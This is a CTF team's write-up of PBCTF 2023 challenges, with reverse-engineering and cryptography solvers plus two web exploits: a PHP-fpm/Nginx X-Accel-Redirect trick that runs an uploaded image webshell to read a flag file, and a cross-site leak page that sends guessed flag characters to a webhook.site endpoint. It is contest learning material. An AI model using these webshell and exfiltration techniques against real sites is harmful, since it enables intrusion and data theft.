# PBCTF 2023 Writeup - Straw Hat

[TOC]

## Reverse

### Move VM

Disassembler:

use std::fs;
use move_binary_format::file_format::CompiledModule;
use move_binary_format::binary_views::BinaryIndexedView;
use move_ir_types::location::Spanned;

use move_disassembler::disassembler::{Disassembler, DisassemblerOptions};
use move_bytecode_source_map::mapping::SourceMapping;
fn main() {
    let bytecode_bytes = fs::read("message.mv").expect("Unable to read bytecode file");
    let module = CompiledModule::deserialize(&bytecode_bytes)
            .expect("Module blob can't be deserialized");
    let biview = BinaryIndexedView::Module(&module);
    let mapping = SourceMapping::new_from_view(biview, Spanned::unsafe_no_loc(()).loc).expect("Unable to build dummy source mapping");

    let mut disassembler_options = DisassemblerOptions::new();
    disassembler_options.print_code = true;
    disassembler_options.only_externally_visible = false;
    disassembler_options.print_basic_blocks = true;
    disassembler_options.print_locals = true;

    let disassembler = Disassembler::new(mapping, disassembler_options);
    let dissassemble_string = disassembler.disassemble().expect("Unable to dissassemble");
    println!("{}", dissassemble_string);
}

Manually reverse the VM and solve the lfsr.

Solver:

target = [2209421562, 4020009855, 2511570847, 825727845, 2747945899, 2434240953, 3923412385, 1510700589, 3658116609, 1210550661, 2892531646, 648401340, 2537403886]

def inv_lfsr(x):
    for _ in range(8):
        if x & 0x80000000:
            x = ((x ^ 0xfff63b78) << 1) ^ 0x1
        else:
            x <<= 1
    return x

flag = b''

for part in target:
    flag += inv_lfsr(inv_lfsr(inv_lfsr(inv_lfsr(part)))).to_bytes(4, 'little')

print(flag)

Full version: https://leoq7.com/2023/02/PBCTF-Move-VM/

## Web

### Makima

in fpm config:

security.limit_extensions =

This means that files that do not end with `.php` can also be executed, We can use the URL `/uploads/xxx.png/.php` to make fpm execute the uploaded .png file as a php file.

in Nginx config:

location ~ \.php$ {
        internal;
        include fastcgi_params;
        fastcgi_intercept_errors on;
        fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }

The handling of .php is internal, meaning that we cannot access the .php file directly from the outside, but must go through the four methods defined in `http://nginx.org/en/docs/http/ngx_http_core_module.html#internal`. In the documentation we can find that if the upstream server uses the `X-Accel-Redirect` header, then it can jump to the internal route.

So, we first upload a php webshell that can bypass the processing of the imagecreatefromstring function, then use `X-Accel-Redirect` to jump to the uploaded image file and make fpm run it as a php file.

vps:

from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

host = ('0.0.0.0', 8888)

img = base64.b64decode(b'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAA6AEADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwA8Pz1zeXN0ZW0oJF9HRVRbMF0pOz8+9uooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA//9k=')

class Resquest(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('X-Accel-Redirect','/uploads/bcca0d143b421.jpg/.php?0=cat /flag > /var/www/html/uploads/2.jpg')
        self.send_header('Content-Type','image/jpeg')
        self.end_headers()
        #self.wfile.write(img)
        self.wfile.write(b'')

if __name__ == '__main__':
    server = HTTPServer(host, Resquest)
    print("Starting server, listen at: %s:%s" % host)
    server.serve_forever()

Client:

import requests
import re

HOST = 'http://makima.chal.perfect.blue/'

r = requests.post(f'{HOST}/',data={"url":"http://vps:8888"})
g = re.findall('<p>Message: (uploads/.*)</p>',r.text)
print(g[0])
r = requests.get(f'{HOST}/{g[0]}')
print(r.text)

### XSPS

Part of `/static/main.js`

window.addEventListener('hashchange', async function(){
    let search_query = JSON.parse(atob(location.hash.substring(1)));
    search_name(search_query);
});

async function search_name(search_data){
    let should_open = search_data['open']
    let query = search_data['query']

    let notes = await get_all_notes();

    let found_note = notes.find((val) => val.note.toString().startsWith(query));
    if(found_note == undefined){
        document.body.search_result.href = '';
        document.body.search_result.text = 'NOT FOUND'
        document.body.search_result.innerHTML += '<br>'
    }

    document.body.search_result.href = `note/${found_note.name}`;
    document.body.search_result.text = 'FOUND'
    document.body.search_result.innerHTML += '<br>'
    if(should_open)document.body.search_result.click();
}

If the var `should_open` is true, we will open the note's url after found it.

As we all known, in javascript, the `window.history` object has a `length` attribute, which counts the number of pages we have visited before.

For example:

<script>
    let param = new URLSearchParams(location.search); // ?leak=pbctf
    let data = {'query': param.get('leak'), 'open': true};
    let text = btoa(JSON.stringify(data)).replaceAll('=', '');
    let w = window.open('http://xsps.chal.perfect.blue/');
    setTimeout(() => {
        w.location = 'http://xsps.chal.perfect.blue/#' + text;
    }, 1000);
    setTimeout(() => {
        w.location = 'about:blank';
    }, 2000);
    setTimeout(() => {
        console.log(w.history.length);
    }, 3000)
</script>

When we find the flag note, the value of `w.history.length` will become `4`, otherwise, it will become `3`.

`w.history.length == 4` means the page redirects as follows:

1. http://xsps.chal.perfect.blue/
2. http://xsps.chal.perfect.blue/#<base64-content> (found)
3. http://xsps.chal.perfect.blue/note/flag
4. about:blank

Similarly, `w.history.length == 3` means the page redirects as follows:

1. http://xsps.chal.perfect.blue/
2. http://xsps.chal.perfect.blue/#<base64-content> (not found)
3. about:blank

So we can use the difference in the value of `w.history.length` to leak the flag

In addition, we used `about:blank` here to bypass the `Same-Origin Policy`, otherwise we can not get the value of `w.history.length`.

Then in the `bot.js`, we have a 20-second time limit.

async function browse(url){

    console.log(`Browsing -> ${url}`);
    const browser = await (await puppeteer.launch({
        headless: true,
        args: ['--no-sandbox', '--disable-gpu'],
        executablePath: "/usr/bin/google-chrome"
    })).createIncognitoBrowserContext();

    const page = await browser.newPage();
    await page.setCookie({
        name: 'session',
        value: process.env.CHALL_COOKIE,
        domain: process.env.CHALL_HOST
    });

    try {
        const resp = await page.goto(url, {
            waitUntil: 'load',
            timeout: 20 * 1000,
        });
    } catch (err){
        console.log(err);
    }

    await page.close();
    await browser.close();

    console.log(`Done visiting -> ${url}`)

}

In fact, when the dom is loaded, puppeteer will immediately close the page because `waitUntil` is set to `loaded`. It is far from 20 seconds.

So we need to create a delay server which will help us delay the process time up to 20s.

from flask import Flask
import time

app = Flask(__name__)

@app.route('/delay')
def delay():
	time.sleep(20)
	return "ok"

if __name__ == '__main__':
	app.run('0.0.0.0', '65333', debug=False, ssl_context=('example.com_bundle.crt', 'example.com.key'))

And we must ensure that all the delay server, exp server and webhook server follow https protocol

The final exploit is as follows:

<script>
    function xsleaks(leak) {
        let data = {'query': leak, 'open': true};
        let text = btoa(JSON.stringify(data)).replaceAll('=', '');
        let w = window.open('http://xsps.chal.perfect.blue/');
        fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?process=' + leak.slice(-1).charCodeAt());
        // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?openwindow');
        setTimeout(() => {
            w.location = 'http://xsps.chal.perfect.blue/#' + text;
            // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?requesthash');
            setTimeout(() => {
                w.location = 'about:blank';
                // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?aboutblank');
                setTimeout(() => {
                    // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?historylength=' + w.history.length);
                    console.log(w.history.length);
                    if (w.history.length == 4) {
                        fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?leak=', {
                            method: 'POST',
                            body: leak
                        }).catch((msg) => {});
                    }
                    w.close();
                }, 500)
            }, 500);
        }, 500);
    }

    let param = new URLSearchParams(location.search);
    // let leak = param.get('leak');
    let start = param.get('start');

    // xsleaks('pbctf');

    let sleepTime = 0;
    for (let i = start; i <= 127; i ++) {
        let c = String.fromCharCode(i);
        setTimeout(xsleaks, sleepTime, 'pbctf{' + c);
        sleepTime += 1500;
    }

</script>

<img src="https://example.com:65333/delay" />

On average, every time we report the url to admin bot, we can fuzz 12 chars. When the webhook server receives a post request, it means that we have got part of the flag, then we can modify the source code and continue to leak the next char.

I'm not very good at javascript, so I did the whole process semi-manually (sounds stupid XD)

flag: `pbctf{V_5w33p1ng_n0t3s_und3r_4_r4d10_s1l3nT_RuG}`

## Crypto

### Blocky - 0

❯ nc blocky-0.chal.perfect.blue 1337
> E
Input (in hex): 67696d6d65666c6167
Result: 0e6191b980095775abb0a5a47d9a6450ea8156ab4b35cfaca0e9384d47aa63549a1a073a
> D
Input (in hex): 0e6191b980095775abb0a5a47d9a6450ea8156ab4b35cfaca0e9384d47aa63549a1a073a
pbctf{actually_I_made_the_same_mistake_in_CODEGATE_Finals}

### My ECC Service

from hashlib import sha256

MODS = [
        942340315817634793955564145941,
        743407728032531787171577862237,
        738544131228408810877899501401,
        1259364878519558726929217176601,
        1008010020840510185943345843979,
        1091751292145929362278703826843,
        793740294757729426365912710779,
        1150777367270126864511515229247,
        763179896322263629934390422709,
        636578605918784948191113787037,
        1026431693628541431558922383259,
        1017462942498845298161486906117,
        734931478529974629373494426499,
        934230128883556339260430101091,
        960517171253207745834255748181,
        746815232752302425332893938923,
    ]

E = [EllipticCurve(GF(p), [-3, 7]) for p in MODS]
G = [E(2,3) for E in E]
payload = bytes.fromhex("0203ddb70b475903ec6c0782d1075252a863b726aa16ff082c6fa5744b75e235d5a9fff0031c951f75873ff3e1bcdc8063095dd5455690788558b0db0b14067f27da477989a4067bc7e2400184e28b53edb1116ad06ac5e40310627c1f9388a35cfd43af3908ebf36daa2b98dbac8b34aa56021e4d41fa52d2c5cbdca0cd05043a483f3fc79f8288f1b9271d03a10de531a410bcf99460cf4f057aaee73a7ae5d36552a4d5d608418ff7fd2a8372f4e21aaabf019130ba0239f85686a62c049a0666e1ec3729c25a5cbf063141029e58760debdb3a8bcf10b7a9")
P = E[12].lift_x(GF(MODS[12])(int(payload[166:179].hex(), 16)))
dlog = discrete_log(P,G[12],operation='+')
state = int(dlog).to_bytes(10,'big')
print('state recovered:', state.hex())
assert sha256(state).digest()[:8] == payload[2:10]
state = sha256(state + b'wow').digest()[:10]
print('new state:', state.hex())
new_payload = b'\x02\x03' + sha256(state).digest()[:8] + b''.join([int((int(state.hex(), 16) * G)[0]).to_bytes(13,'big') for G in G])
print(new_payload.hex())

'''
state recovered: de74c3ba4ee7784d204b
new state: ba7627801cf2fdd92d07
0203dc753b87a7e7e96708e432734f36461fd2d833805d0816d619cd85b5eeba115efcda0173dda2769877e85871fc276403455383868e3adc41461527c3049f080047e17e5f5abc645e1f02333360de49a1422766fa6ada05694291a03a97e661bbaea23b0995e48169a1c16f90b525b1d00710397feed634e094dc21b4d704e0bf232b309a19b36cb44bf700c40f3e49b9aba82b9b94bd14074860a9834adea0ba3549bea102b8023367064a0f525ae5df7401957137eff626185350a3a2e5076ca96b21a0ff2808bdbc236b03b96d9b56165e9e56ef4e9317
'''

❯ nc my-ecc-service.chal.perfect.blue 1337
> G
Payload: 0203ddb70b475903ec6c0782d1075252a863b726aa16ff082c6fa5744b75e235d5a9fff0031c951f75873ff3e1bcdc8063095dd5455690788558b0db0b14067f27da477989a4067bc7e2400184e28b53edb1116ad06ac5e40310627c1f9388a35cfd43af3908ebf36daa2b98dbac8b34aa56021e4d41fa52d2c5cbdca0cd05043a483f3fc79f8288f1b9271d03a10de531a410bcf99460cf4f057aaee73a7ae5d36552a4d5d608418ff7fd2a8372f4e21aaabf019130ba0239f85686a62c049a0666e1ec3729c25a5cbf063141029e58760debdb3a8bcf10b7a9
> P
Payload: 0203dc753b87a7e7e96708e432734f36461fd2d833805d0816d619cd85b5eeba115efcda0173dda2769877e85871fc276403455383868e3adc41461527c3049f080047e17e5f5abc645e1f02333360de49a1422766fa6ada05694291a03a97e661bbaea23b0995e48169a1c16f90b525b1d00710397feed634e094dc21b4d704e0bf232b309a19b36cb44bf700c40f3e49b9aba82b9b94bd14074860a9834adea0ba3549bea102b8023367064a0f525ae5df7401957137eff626185350a3a2e5076ca96b21a0ff2808bdbc236b03b96d9b56165e9e56ef4e9317
pbctf{Which_method_did_you_use?_Maybe_it_also_works_on_the_second_challenge!}

### My ECC Service 2

import time, random
from functools import reduce
from hashlib import sha256

#params = [[942340315817634793955564145941, [20525863, 10268606587, 745149784397], [4531, 101335, 2399]], [743407728032531787171577862237, [7, 53, 39135433, 89390597, 392856241], [3, 8, 6256, 9455, 970]], [738544131228408810877899501401, [619, 1613, 5897, 10627, 168601, 11668048619], [25, 41, 77, 104, 411, 343]], [1259364878519558726929217176601, [7, 28310923, 12871082639, 27429123191], [3, 5321, 113451, 693]], [1008010020840510185943345843979, [16057, 8827037, 65312497, 5444515163], [127, 2972, 8082, 366]], [1091751292145929362278703826843, [13, 1153, 984391, 9510437, 1945015005697], [4, 34, 993, 3084, 2940]], [793740294757729426365912710779, [47, 53, 67, 101, 1783, 498949351, 2646492839], [7, 8, 9, 11, 43, 22338, 288]], [1150777367270126864511515229247, [29, 673837, 285249463, 3225771869743], [6, 821, 16890, 14731]], [763179896322263629934390422709, [4957, 22409, 2608222219, 9756120859], [71, 150, 51071, 2047]], [636578605918784948191113787037, [43, 347, 691, 5903, 4728121, 122897257187], [7, 19, 27, 77, 2175, 2054]], [1026431693628541431558922383259, [139, 4909, 1172273, 15937777, 4025647253], [12, 71, 1083, 3993, 312]], [1017462942498845298161486906117, [7, 19, 196139, 314257, 9393641, 734026229], [3, 5, 443, 561, 3065, 130]], [734931478529974629373494426499, [7, 37, 16661, 86771, 32362921, 121298017], [3, 7, 130, 295, 5689, 320]], [934230128883556339260430101091, [31, 199, 116689, 210707317, 1539818639309], [6, 15, 342, 14516, 2828]], [960517171253207745834255748181, [11, 10047467, 1119725437, 1293579322613], [4, 3170, 33463, 3130]], [746815232752302425332893938923, [19, 41, 53, 8209, 5694702539, 96733867063], [5, 7, 8, 91, 75464, 796]]]
params = [[942340315817634793955564145941, [20525863, 10268606587, 745149784397], [3208, 71659, 610394]], [743407728032531787171577862237, [53, 39135433, 89390597, 392856241], [10, 4428, 6690, 14020]], [738544131228408810877899501401, [619, 1613, 5897, 10627, 168601, 11668048619], [22, 33, 59, 77, 295, 76385]], [1259364878519558726929217176601, [28310923, 12871082639, 27429123191], [3767, 80226, 117114]], [1008010020840510185943345843979, [16057, 8827037, 65312497, 5444515163], [94, 2105, 5719, 52180]], [1091751292145929362278703826843, [13, 1153, 984391, 9510437, 1945015005697], [7, 29, 706, 2185, 986162]], [793740294757729426365912710779, [47, 53, 67, 101, 1783, 498949351, 2646492839], [9, 10, 10, 12, 34, 15799, 36381]], [1150777367270126864511515229247, [29, 673837, 285249463, 3225771869743], [8, 585, 11947, 1269999]], [763179896322263629934390422709, [4957, 22409, 2608222219, 9756120859], [54, 110, 36117, 69848]], [636578605918784948191113787037, [43, 347, 691, 5903, 4728121, 122897257187], [9, 18, 23, 59, 1542, 247893]], [1026431693628541431558922383259, [139, 4909, 1172273, 15937777, 4025647253], [13, 54, 770, 2827, 44869]], [1017462942498845298161486906117, [19, 196139, 314257, 9393641, 734026229], [8, 318, 401, 2172, 19162]], [734931478529974629373494426499, [37, 16661, 86771, 32362921, 121298017], [9, 96, 213, 4027, 7792]], [934230128883556339260430101091, [31, 199, 116689, 210707317, 1539818639309], [8, 14, 246, 10269, 877449]], [960517171253207745834255748181, [11, 10047467, 1119725437, 1293579322613], [7, 2246, 23666, 804237]], [746815232752302425332893938923, [19, 41, 53, 8209, 5694702539, 96733867063], [8, 9, 10, 69, 53365, 219929]]]

class ECPoint:
    def __init__(self, point, mod):
        self.x = point[0]
        self.y = point[1]
        self.mod = mod

    def inf(self):
        return ECPoint((0, 0), self.mod)

    def _is_inf(self):
        return self.x == 0 and self.y == 0

    def __eq__(self, other):
        assert self.mod == other.mod
        return self.x == other.x and self.y == other.y

    def __add__(self, other):
        assert self.mod == other.mod
        P, Q = self, other
        if P._is_inf() and Q._is_inf():
            return self.inf()
        elif P._is_inf():
            return Q
        elif Q._is_inf():
            return P

        if P == Q:
            lam = (3 * P.x**2 - 3) * inverse(2 * P.y, self.mod) % self.mod
        elif P.x == Q.x:
            return self.inf()
        else:
            lam = (Q.y - P.y) * inverse(Q.x - P.x, self.mod) % self.mod

        x = (lam**2 - P.x - Q.x) % self.mod
        y = (lam * (P.x - x) - P.y) % self.mod

        return ECPoint((x, y), self.mod)

    def __rmul__(self, other: int):
        base, ret = self, self.inf()
        while other > 0:
            if other & 1:
                ret = ret + base
            other >>= 1
            base = base + base
        return ret

from pwn import *
z = remote("my-ecc-service-2.chal.perfect.blue", 1337)

z.recvuntil(b'>')
z.sendline(b'G')
z.recvuntil(b'Payload: ')
payload = bytes.fromhex(z.recvline().strip().decode().strip())
print(payload.hex())

z.recvuntil(b'>')
z.sendline(b'V')
z.recvuntil(b'Payload: ')
z.sendline("0202" + payload[2:].hex())

z.recvuntil(b'>')
z.sendline(b'G')
z.recvuntil(b'Payload: ')
payload = bytes.fromhex(z.recvline().strip().decode().strip())
print(payload.hex())

def ModSquareRoot(a, p):
    '''
    Solve x such that `x^2 ≡ a (mod p)` where p is a prime,
    returns all the solution(s), None if no solution.
    '''
    # assert(isPrime(p))
    l = Legendre(a, p)  # The Legendre symbol of a over p.
    if l == -1:
        return None
    elif l == 0:
        return [0]

    if p % 4 == 3:  # which is quite easy to compute.
        R = pow(a, (p + 1) // 4, p)
        return [R, p - R]
    else:
        return TonelliShanksAlgorithm(a, p)

def TonelliShanksAlgorithm(a, p):
    '''
    Solve the equation `x^2 ≡ a (mod p)` where `p ≡ 1 (mod 4)`.
    returns all the two solutions to the equation.
    '''
    # 1. Factor `p - 1` into `2^S * Q` where Q is odd.
    Q = p - 1
    S = 0
    while Q & 1 == 0:
        S += 1
        Q //= 2
    # 2. Find a NR(p).
    y = 2
    while Legendre(y, p) != -1:
        y += 1
    # 3. Calculate the four quantities.
    R = pow(a, (Q + 1) // 2, p)
    c = pow(y, Q, p)
    t = pow(a, Q, p)
    E = S
    # 4. Loop.
    while t != 1:
        for i in range(1, E):
            if pow(t, 2 ** i, p) == 1:
                break
        b = pow(c, 2 ** (E - i - 1), p)
        R = R * b % p
        c = pow(b, 2, p)
        t = c * t % p
        E = i
    return [R, p - R]

def Legendre(a, p):
    '''
    The Legendre Sybmol.
    returns 1 if a is QR(p), or -1 if NR(p), or 0 if a divides p.
    '''
    if a % p == 0:
        return 0
    # Euler's Criterion
    return 1 if pow(a, (p - 1) // 2, p) == 1 else -1

# Constructive solution for coprime moduli.
def CRT_constructive(ai, mi):
    # # make sure every two *m*s in *mi* are relatively prime
    # lcm = lambda x, y: x * y // gcd(x, y)
    # mul = lambda x, y: x * y
    # assert(reduce(mul, mi) == reduce(lcm, mi))
    assert(isinstance(mi, list) and isinstance(ai, list))
    M = reduce(lambda x, y: x * y, mi)
    ai_ti_Mi = [a * (M // m) * egcd(M // m, m)[0]  for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, ai_ti_Mi) % M

def egcd(a, b):
    '''
    Extended Euclidean Algorithm.
    returns x, y, gcd(a,b) such that ax + by = gcd(a,b).
    '''
    u, u1 = 1, 0
    v, v1 = 0, 1
    while b:
        q, r = divmod(a, b)
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, r
    return u, v, a

def dlp(G, P, phi, m):
    assert phi * G == O
    assert G != O
    mG = m * G
    kmG = O
    S = {}
    for i in range(m):
        S[kmG.x] = i
        kmG = kmG + mG
    _P = P
    for i in range(m):
        if P.x in S:
            if ((m * S[P.x] - i) * G).x == _P.x:
                return m * S[P.x] - i
            elif ((m * S[P.x] + i) * G).x == _P.x:
                return m * S[P.x] + i
            else:
                print('error')
        P = P + G
    return 0

def inverse(a,b):
    return pow(a,-1,b)

t0 = time.time()
state = b''
last = 0
for i in range(16):
    ti = time.time()
    p, fct, m = params[i]
    G = ECPoint((2,2),p)
    O = 0 * G
    xP = int(payload[13*i+10:13*i+23].hex(), 16)
    yP = ModSquareRoot(xP*xP*xP - 3*xP + 2, p)
    P = ECPoint((xP,yP[0]),p)
    P2 = ECPoint((xP,yP[1]),p)
    r = []
    for j in range(len(fct)):
        assert (p+1)%fct[j] == 0
        r.append(dlp((p+1)//fct[j]*G,(p+1)//fct[j]*P,fct[j],m[j]))
        if r[-1] == 0:
            r[-1] = dlp((p+1)//fct[j]*G,(p+1)//fct[j]*P2,fct[j],m[j])
            assert r[-1] != 0
    td = time.time()
    print(i, r, td-t0, td-ti)
    #continue
    v = p
    while v.bit_length() > 80:
        _r = [random.choice([r,-r]) for r in r]
        v = CRT_constructive(_r,fct)
        #print(state)
    print(i, v, td-t0, td-ti)
    state += int(v).to_bytes(10, 'big')
    last ^= v
assert last == 0
assert sha256(state).digest()[:8] == payload[2:10]

new_state = b''
res = []
last = 0
for i in range(15):
    hsh = sha256(state + i.to_bytes(1, 'big')).digest()[:10]
    new_state += hsh
    v = int.from_bytes(hsh, 'big')
    last ^= v
    res.append(v)

hsh = last.to_bytes(10, 'big')
new_state += hsh
res.append(last)

key = sha256(new_state).digest()[:8]
payload = b'\x02\x03' + key + b''.join([int((res[i] * ECPoint((2,2), params[i][0])).x).to_bytes(13,'big') for i in range(16)])
print(payload.hex())

z.recvuntil(b'>')
z.sendline(b'P')
z.recvuntil(b'Payload: ')
z.sendline(payload.hex())
z.interactive()

❯ python3 myECC2_autosolve.py
[+] Opening connection to my-ecc-service-2.chal.perfect.blue on port 1337: Done
02035ef7bf299df4472e0164b67395d6526e3e2437d77500302089952dc580efc9c0f73207bf45a5c1bb5c2b0f6432e78c0315b11457f49da33432dd4fa20c0a7a54d0c5b0513fba10a9ef02cb9bf46fd8de7d958df1aa0c00d932c4fb9e66903fb0e2a90f0405f1788804d68b6a408c57fd05046cd6bbd2c4ca00cb8c7b8306b9b4bfb2864797c8ea316a9900e11147284cd191b30bb6d844070a30bffe49cf3f8fc064e24706632d5378e01f02f86e83d284081eac5510fda342245a4085b7091df258d1486e74fb3f54a44a00463b3cc3e2f3aeda79e0c07c
0203a9c14216845dc67609701bce6bcf30255c03b831a300e5dc87c947440fcb7c5b304908ddd9d8c8850339da3c8f2c510cf66cb04801aa5c8b0200734005917adc9ea833be1614d94e4007b56564f9cf36e36c4bf89f72048459712edf307ebd88ed97a2067fe95be6e7f15462df948ea80543d0ad53338b3e3f0ab3cdb505ae86197af2c632e643b49e8e005bdfa5b01cdfe2b9e2696ca701efd7f7c5615f82f78ef96875029211426bccf65ca5216873d5008ddac6b3e0ad7f7290ff87c707554cca7e43c2ffadaff484fa009681746ab7ed8ecad586ff53
0 [6152030, 1996099676, 270892214785] 10.466821432113647 10.466814756393433
0 587538348311658764032645 10.466821432113647 10.466814756393433
1 [21, 2288829, 14011761, 42484164] 11.10499882698059 0.6341526508331299
1 1021200066049654010592365 11.10499882698059 0.6341526508331299
2 [386, 121, 1013, 2997, 78271, 2806966721] 12.802122354507446 1.6936366558074951
2 627055056956025882590443 12.802122354507446 1.6936366558074951
3 [3644616, 4092924491, 12285606896] 17.809441089630127 5.0028040409088135
3 2103529597256870569233 17.809441089630127 5.0028040409088135
4 [1724, 3395122, 9417057, 660120503] 19.287468910217285 1.474604845046997
4 89126005804588207119968 19.287468910217285 1.474604845046997
5 [14, 447, 403091, 1037532, 787059087084] 36.41745853424072 17.12724542617798
5 418440149868726232142494 36.41745853424072 17.12724542617798
6 [64, 81, 70, 3, 364, 10693196, 362968836] 37.77535939216614 1.3539884090423584
6 959842694054438415995086 37.77535939216614 1.3539884090423584
7 [56, 319099, 24650537, 1515372754853] 70.20461678504944 32.426183462142944
7 137485274152861911026847 70.20461678504944 32.426183462142944
8 [1010, 6343, 723233502, 1505907397] 72.3042733669281 2.096038341522217
8 143942584513953630811980 72.3042733669281 2.096038341522217
9 [40, 208, 20, 936, 1795582, 16498259435] 75.89333176612854 3.585162878036499
9 303799932057112355814090 75.89333176612854 3.585162878036499
10 [52, 234, 245918, 480102, 901852239] 77.02222943305969 1.1240065097808838
10 956917318582078005494652 77.02222943305969 1.1240065097808838
11 [56, 75390, 75167, 2362253, 64398119] 77.60809993743896 0.5812718868255615
11 41285615950085095245531 77.60809993743896 0.5812718868255615
12 [36, 1339, 11343, 6171340, 47952400] 77.94101476669312 0.3284580707550049
12 1153988306164918695952447 77.94101476669312 0.3284580707550049
13 [56, 84, 23288, 87848668, 312984684497] 97.22236824035645 19.278303384780884
13 610227568672536417666893 97.22236824035645 19.278303384780884
14 [21, 3890536, 341634255, 46665149208] 118.76676654815674 21.53615117073059
14 584458002103558853525199 118.76676654815674 21.53615117073059
15 [7, 27, 81, 2187, 1187990397, 40152586562] 124.92961072921753 6.158917427062988
15 219055839407991693483553 124.92961072921753 6.158917427062988
02033716fceaa22787490a9f40ec749b147df3c61fcc4c02acaae8f63992e889f91d639700f1d178091d9edc105d157f6002d042cda7a7b7e9df42f63bee0183a04f48f5e9a95f80dcdaf602c77e04426e123dde13fd2e2905c5b16e035b36f0fa7c6c36050af44ee4eebed0f020b25e8b5705fb695aaefe54add8ca7b34be01d5edc79b74c3832fe34e555f05f8846b6e6f4e49b9d572f47a09fbfc6dc33c38fd70e37ba1ea052ae7eb6546c9902e2294b4680704ae8727964ae465c5b8310400c923df3d7a37f964b37df67b08cb526d9a8ce471ffbf41c1ba
[*] Switching to interactive mode
pbctf{It_was_difficult_make_this_idea_better...Good_job!}
[*] Got EOF while reading in interactive

### Remake

hint = int.from_bytes(b"Inspired by theoremoon's SECCON 2022 Finals Challenge - Hell. Thank you!", "big")
kp = hint + 540914350057159927735436910109553086959907629357396102386062800609858847095404691934517983640846787552171946520460064397364544720996858815571065665255645
print(int(kp).bit_length(),kp)
fkp = factor(kp)
print(fkp)
p = fkp[-1][0]
print(int(p).bit_length(),p)

PR.<x> = PolynomialRing(GF(p))
u1,v1 = (x^2 + 14762123602851553604749022996287576858980220577795651427829269858766434621297346961387874961427459051934768224338447011128244905975068497090840444625419470*x + 8519674750729750620690035589812482119785861876353468044895414394332293279114303071755954851101633319350193436546144692795403444364414318973131157246232656, 17770738679279057916355557895675090129563269633432826251932824463003364931275912702916209480950481351904761364290424406482997835483807402182326014818733821*x + 12306668467523337827805393760490897581559948654643366727345701375757143864825442910779617850907143245102792529282031529618639723158417652048624567379151171)
u3,v3 = (x^3 + 13441279154284544764330805782065565325543470739559917045273482055514440837785754044182874902421009026981197721504820302867945812937528249594953326223176272*x^2 + 3795282115520834934850220740151212731596814319504043674340537364041453624883995759365119899076774262882230308591629439035308527946872182029742910504122735*x + 3726617245981099594981815385059428688276726297460965450328320328460867196111587736356492934195556032891106446058683147130913147722036293641303193921962091, 2103349591221335944593862709600493681857281410337020721978302326614691696399677635217262732543672829811190387220058078405239568477387817550236173432744263*x^2 + 4784247634355946154999459446762911004042472267922959302672838559247991353014786987556174410735592161587023899368989617780068662559773261109676326152316907*x + 2640959823121300693709616791657128464111647959613642856293592234010564318329382577397798309822254798484629398268742247779165733848105319417195858443049412)
u4,v4 = (x + 540914350057159927735436910109553086959907629357396102386062800609858847095404691934517983640846787552171946520460064397364544720996858815571065665255645, 541917331856005964100090629475512429550322452567752818120774876171019476274441296070275457561095853517207532108745504694853066426720092700847788666013730)

A = matrix(GF(p),8,6)
for i in range(8):
    k1 = x^i % u1
    k3 = x^i % u3
    k4 = x^i % u4
    if i == 1:
        c1 = [0,1]
    else:
        c1 = k1.coefficients()
    if i < 3:
        c3 = [0]*3
        c3[i] = 1
    else:
        c3 = k3.coefficients()
    c4 = k4.coefficients()
    if i < 6:
        for j in range(len(c1)):
            A[i,j] = c1[j]
    for j in range(len(c3)):
        A[i,j+2] = c3[j]
    for j in range(len(c4)):
        A[i,j+5] = c4[j]

k1 = v1 * v1 % u1
k3 = v3 * v3 % u3
k4 = v4 * v4 % u4
c1 = k1.coefficients()
c3 = k3.coefficients()
c4 = k4.coefficients()

b = vector(GF(p), 6)
for j in range(len(c1)):
    b[j] = c1[j]
for j in range(len(c3)):
    b[j+2] = c3[j]
for j in range(len(c4)):
    b[j+5] = c4[j]

C = matrix(ZZ,15,15)
for i in range(8):
    C[i,i] = 1
C[8,8] = 1 << 336
for i in range(6):
    for j in range(8):
        C[j,i+9] = int(A[j,i]) << 500
    C[8,i+9] = int(b[i]) << 500
    C[i+9,i+9] = int(p) << 500
ans = C.LLL()
#print(ans)

f1 = sum([-ans[0][i]*x^i for i in range(6)])
print(f1)
